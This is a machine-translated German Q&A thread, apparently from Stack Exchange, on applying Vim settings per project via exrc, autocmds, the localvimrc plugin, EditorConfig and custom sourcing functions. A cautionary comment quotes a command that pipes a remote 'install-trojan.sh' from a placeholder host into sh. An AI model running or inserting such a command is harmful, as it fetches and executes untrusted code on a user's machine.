Einstellungen nur auf einen Verzeichnisbaum anwenden


33

Bei meiner Arbeit verwenden wir einen Standard tsvon 2; Meine persönliche Präferenz ist 4, was ich für meine Hobbyprojekte verwende, und dieses andere Projekt, das wir geerbt haben, hat die Konvention von ts=8.

Es gibt auch einige andere Einstellungen, die ich projektbezogen vornehmen möchte (z. B. Falzen). Diese Einstellungen auf dem Dateityp zu basieren oder sie basierend auf den in der Datei verwendeten Optionen automatisch zu erkennen, sind keine guten Optionen, da ich die Konventionen jedes Projekts einhalten möchte.

Kann ich Vim veranlassen, eine Einstellungsdatei zu verwenden, die für ein Projekt gilt (alles in einem Verzeichnisbaum), ohne allen Dateien eine Modeline hinzuzufügen?


Antworten:


19

Es gibt ein paar einfache Möglichkeiten, dies zu tun.

  1. Suchen Sie nach einer Datei mit dem angegebenen Namen und geben Sie die Quelle ein

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    Die Datei ist im Beispiel versteckt, aber das ist optional.

  2. Lokale .vimrcDateien (nicht dasselbe wie das Plugin)

    set exrc
    

    Dies ähnelt 1. Die Datei wird jedoch ".vimrc" genannt.

    Ein häufiger Vorschlag dazu ist die Verwendung

    set secure
    

    .vimrcDadurch wird verhindert, dass eine Datei potenziell gefährliche Dinge wie das Ausführen von Shell-Befehlen ausführt. Die Idee ist, dass Sie nicht möchten, dass VIM eine .vimrcDatei liest , die von jemand anderem geschrieben wurde, der etwas Böses tut.

  3. Autobefehle, die den aktuellen Pfad überprüfen

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Dies ist die Option, die ich benutze. Ich ändere nicht viel zwischen verschiedenen Projekten, also YMMV, aber wenn Sie nur ein oder zwei Dinge basierend auf dem Pfad tun und es in Ihrem behalten möchten, .vimrcist das nett und einfach.


Beachten Sie, dass Option 1 und 2 die in diesem Kommentar beschriebene Einschränkung aufweisen : Sie gelten nicht rekursiv für Unterverzeichnisse.

15

Ich benutze localvimrc für diesen Zweck.

Fügen Sie .lvimrcIhre Projekteinstellungen in Ihr Projekt ein, und diese Einstellungen überschreiben die Einstellungen in .vimrc.

Standardmäßig werden Sie gefragt, ob Sie diese Datei als Quelle verwenden möchten, z.

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Dies soll verhindern, dass zufällige (nicht vertrauenswürdige) vimrc-Dateien beschafft werden. Wenn Sie dies als störend empfinden, können Sie eine Whitelist mit folgenden .lvimrcDateien erstellen g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Oder Sie können die Abfrage nach Bestätigung einfach mit deaktivieren set g:localvimrc_ask = 0. Dies wird jedoch nicht empfohlen.


5

Zentrale Konfiguration

Wenn es in Ordnung ist, die spezifischen Befehle / lokalen Ausnahmen zentral zu konfigurieren, können Sie solche autocmds in Folgendes einfügen ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Es ist wichtig, :setlocalstatt :setund ebenso :map <buffer> ...und zu verwenden :command! -buffer ....

Wenn Sie andererseits die spezifische Konfiguration im Projekt speichern möchten (und diese nicht über Modelines in alle Dateien einbetten möchten ), haben Sie die folgenden zwei Optionen:

Lokale Konfiguration mit integrierter Funktionalität

Wenn Sie Vim immer über das Projektstammverzeichnis starten, wird das eingebaute

:set exrc

ermöglicht das Lesen einer .vimrcDatei aus dem aktuellen Verzeichnis. Sie können die :set ts=4 sw=4Befehle dort platzieren.

Lokale Konfiguration über Plugin

Andernfalls benötigen Sie die Hilfe eines Plugins. es gibt mehrere auf vim.org; Ich kann das localrc-Plugin empfehlen , das sogar die Konfiguration lokaler Dateitypen ermöglicht.

Beachten Sie, dass das Lesen der Konfiguration aus dem Dateisystem Auswirkungen auf die Sicherheit hat. Sie möchten vielleicht :set secure.


2
Beachten Sie, dass diese .exrcäußerst begrenzt sind: Der Projektbegriff stoppt im aktuellen Verzeichnis, dh Dateien in Unterverzeichnissen gehören nicht zum Projekt.
Luc Hermitte

4

Es gibt das Editor- Konfigurationsprojekt, mit dem Sie Konfigurationen auf Projektebene wie Einstellungen für Tabulatoren sowie neue Linienstile und andere Dinge definieren können. Es gibt viele Plug-Ins für alle Arten von Editoren, einschließlich vim . Außerdem können Sie Einstellungen für verschiedene Dateitypen definieren.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

Ich habe dies geschrieben und meinem .vimrc hinzugefügt, damit ich .vimsettings-Dateien in Projekten und Unterprojekten platzieren kann.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

Obwohl dies funktioniert, kann es als gefährlich eingestuft werden, da Sie nur eine Datei system('curl http://example.com/install-trojan.sh | sh')
suchen

0

Ich wollte das, also habe ich es einfach lokal implementiert. Ich bin nicht so besorgt mit "Ausführen von Zufallscode", aber dies kann für einfache Bedürfnisse funktionieren. Passen Sie die Dateinamen nach Bedarf an.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Dies local.vimrcist eigentlich ein Symlink zu einer Datei in meiner umfangreichen Sammlung von unternehmensspezifischen vimrc-Dateien, die ich an anderer Stelle in der Quellcodeverwaltung behalten kann, wodurch es einfach ist, meine gesamte Konfiguration auf andere Computer zu verschieben oder wenn ich ein Unternehmen vor Ort besuche oder so . Kaskadierende Konfigurationen könnten verwendet werden, aber in der Praxis benötige ich diese Funktionalität nicht. Ich verbinde mich auch F8, um die gefundene Datei und meine "Haupt" .vimrcin einem neuen Tab zu öffnen ...

Da diese lokalen Konfigurationen für jede geöffnete Datei analysiert werden, müssen Sie die Zuordnungen und Einstellungen in diesen lokalen Konfigurationen auf buffer-local festlegen. Z.B

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.